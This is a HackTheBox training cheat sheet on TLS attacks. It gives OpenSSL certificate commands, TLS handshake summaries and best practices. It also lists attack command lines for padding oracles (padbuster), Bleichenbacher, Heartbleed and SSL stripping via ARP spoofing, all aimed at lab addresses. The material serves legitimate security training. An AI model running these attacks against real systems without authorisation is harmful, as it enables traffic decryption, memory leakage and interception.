HACKTHEBOX

HTTPS/TLS ATTACKS
CHEAT SHEET

OpenSSL

Command	Description
`openssl genrsa -out key.pem 2048`	Generate 2048 Bit RSA key
`openssl s_client -connect hackthebox.com:443 | openssl x509 > hackthebox.pem`	Download certificate of web server
`openssl x509 -outform der -in hackthebox.pem -out hackthebox.der`	Convert PEM certificate to DER format
`openssl crl2pkcs7 -nocrl -certfile hackthebox.pem -out hackthebox.p7`	Convert PEM certificate to PKCS#7 format
`openssl req -x509 -newkey rsa:4096 -keyout key.pem -out selfsigned.pem -sha256 -days 365`	Create self-signed certificate
`openssl rsa -in rsa.pem -pubout > rsa_pub.pem`	Extract public key from RSA key-pair
`openssl rsautl -encrypt -inkey rsa_pub.pem -pubin -in msg.txt -out msg.enc`	Encrypt file with RSA public key
`openssl rsautl -decrypt -inkey rsa.pem -in msg.enc > decrypted.txt`	Decrypt file with RSA private key

TLS 1.2 Handshake

Message	Description
ClientHello	Contains ClientRandom, Cipher Suites supported by client
ServerHello	Contains TLS version, Cipher Suite for session, ServerRandom
Certificate	Contains server certificate
ServerKeyExchange	Contains server key share (only for PFS cipher suites)
ServerHelloDone	Tells client that the ServerHello is complete
ClientKeyExchange	Contains client key share
ChangeCipherSpec	Concludes handshake, all subsequent messages are protected

TLS 1.3 Handshake

Message	Description
ClientHello	Contains ClientRandom, Cipher Suites supported by client, client key share
ServerHello	Contains TLS version, Cipher Suite for session, ServerRandom, server key share
Finished	Concludes handshake

Padding Oracles

Command	Description
`padbuster http://127.0.0.1:4000/admin "AAAAAAAAAAAAAAAAAAAAAJQB/nhNEuPuNC8ox7cN1z0=" 16 -encoding 0 -cookies "user=AAAAAAAAAAAAAAAAAAAAAJQB/nhNEuPuNC8ox7cN1z0="`	Run padbuster with an encrypted sample with block size 16

Parameters:

- specify block length

- specify encoding with `-encoding` flag
- specify location of ciphertext with `-cookies` or `-post` flags
- specify plaintext to encrypt with `-plaintext` flag
- specify `-usebody` flag to analyze response content

POODLE

SSL 3.0 padding:

- arbitrary padding bytes
- last byte is the length of padding excluding the length itself
- Example for block size 8: `DEADBEEF` -> `DEADBEEF00000003`

Bleichenbacher

Command	Description
`java -jar bleichenbacher-1.0.0.jar -pcap ./bleichenbacher.pcap -executeAttack`	Run Bleichenbacher attack from pcap file
`java -jar bleichenbacher-1.0.0.jar -executeAttack -connect 127.0.0.1:443 -encrypted_premaster_secret <SNIP>`	Run Bleichenbacher attack against server with encrypted premaster secret
`echo -n 214[...]3a8 | awk -F '0303' '{print "0303"$2}'`	Extract unpadded premaster secret from padded premaster secret
`PMS_CLIENT_RANDOM <client_random> <premaster_secret>`	Wireshark Key file syntax

Heartbleed

Command	Description
`java -jar heartbleed-1.0.0.jar -connect 127.0.0.1:443 -executeAttack -heartbeats 10`	Run Heartbleed attack

SSL Stripping

Command	Description

Command	Description
`sudo arpspoof -i docker0 172.17.0.5`	Run ARP spoofing attack on interface `docker0` targeting `172.17.0.5`
`Strict-Transport-Security: max-age=31536000`	HSTS header syntax

Testing TLS Configuration

Command	Description
`bash testssl.sh https://hackthebox.com`	Test TLS configuration of a website

TLS Best Practices:

- do not offer SSL 2.0 or SSL 3.0
- do not offer TLS 1.0 or TLS 1.1
- no NULL cipher suites
- no EXPORT cipher suites
- prefer PFS cipher suites
- prefer GCM mode over CBC mode